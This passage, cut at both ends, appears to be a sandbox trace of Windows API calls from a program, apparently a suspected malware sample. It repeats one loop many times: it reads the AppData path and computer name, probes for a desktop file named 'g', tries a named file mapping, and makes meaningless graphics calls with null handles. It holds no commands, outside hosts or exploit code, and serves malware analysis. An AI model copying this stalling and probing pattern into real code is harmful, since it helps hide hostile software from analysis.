(hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.281] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.281] CloseHandle (hObject=0x0) returned 0 [0145.281] CloseHandle (hObject=0xffffffff) returned 1 [0145.281] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.282] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.282] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.282] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.282] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.282] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.282] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.282] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.282] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.282] CloseHandle (hObject=0x0) returned 0 [0145.282] CloseHandle (hObject=0xffffffff) returned 1 [0145.282] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.282] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.282] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.282] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.282] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.282] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.282] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.282] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.282] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.282] CloseHandle (hObject=0x0) returned 0 [0145.282] CloseHandle (hObject=0xffffffff) returned 1 [0145.282] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.282] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.282] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.282] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.282] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.282] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.282] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.283] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.283] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.283] CloseHandle (hObject=0x0) returned 0 [0145.283] CloseHandle (hObject=0xffffffff) returned 1 [0145.283] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.283] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.283] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.283] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.283] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.283] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.283] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.283] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.283] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.283] CloseHandle (hObject=0x0) returned 0 [0145.283] CloseHandle (hObject=0xffffffff) returned 1 [0145.283] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.283] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.283] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.283] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.283] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.283] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.283] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.283] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.283] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.283] CloseHandle (hObject=0x0) returned 0 [0145.283] CloseHandle (hObject=0xffffffff) returned 1 [0145.283] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.283] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.283] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.284] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.284] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.284] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.284] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.284] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.284] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.284] CloseHandle (hObject=0x0) returned 0 [0145.284] CloseHandle (hObject=0xffffffff) returned 1 [0145.284] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.284] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.284] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.284] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.284] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.284] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.284] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.284] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.284] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.285] CloseHandle (hObject=0x0) returned 0 [0145.285] CloseHandle (hObject=0xffffffff) returned 1 [0145.285] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.285] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.285] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.285] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.285] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.285] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.285] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.285] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.285] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.285] CloseHandle (hObject=0x0) returned 0 [0145.285] CloseHandle (hObject=0xffffffff) returned 1 [0145.285] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.285] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.285] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.285] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.285] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.285] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.285] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.285] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.286] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.286] CloseHandle (hObject=0x0) returned 0 [0145.286] CloseHandle (hObject=0xffffffff) returned 1 [0145.286] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.286] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.286] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.286] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.286] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.286] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.286] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.286] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.286] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.286] CloseHandle (hObject=0x0) returned 0 [0145.286] CloseHandle (hObject=0xffffffff) returned 1 [0145.286] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.286] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.286] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.286] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.286] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.286] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.286] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.286] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.286] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.286] CloseHandle (hObject=0x0) returned 0 [0145.286] CloseHandle (hObject=0xffffffff) returned 1 [0145.286] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.286] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.286] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.286] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.287] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.287] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.287] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.287] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.287] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.287] CloseHandle (hObject=0x0) returned 0 [0145.287] CloseHandle (hObject=0xffffffff) returned 1 [0145.287] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.287] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.287] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.287] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.287] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.287] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.287] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.287] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.287] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.287] CloseHandle (hObject=0x0) returned 0 [0145.287] CloseHandle (hObject=0xffffffff) returned 1 [0145.287] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.287] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.287] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.287] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.287] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.287] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.287] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.287] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.287] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.288] CloseHandle (hObject=0x0) returned 0 [0145.288] CloseHandle (hObject=0xffffffff) returned 1 [0145.288] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.288] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.288] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.288] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.288] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.288] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.288] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.288] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.288] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.288] CloseHandle (hObject=0x0) returned 0 [0145.288] CloseHandle (hObject=0xffffffff) returned 1 [0145.288] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.288] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.288] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.288] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.288] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.288] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.288] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.288] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.288] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.288] CloseHandle (hObject=0x0) returned 0 [0145.288] CloseHandle (hObject=0xffffffff) returned 1 [0145.288] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.288] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.288] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.288] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.288] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.289] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.289] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.289] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.289] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.289] CloseHandle (hObject=0x0) returned 0 [0145.289] CloseHandle (hObject=0xffffffff) returned 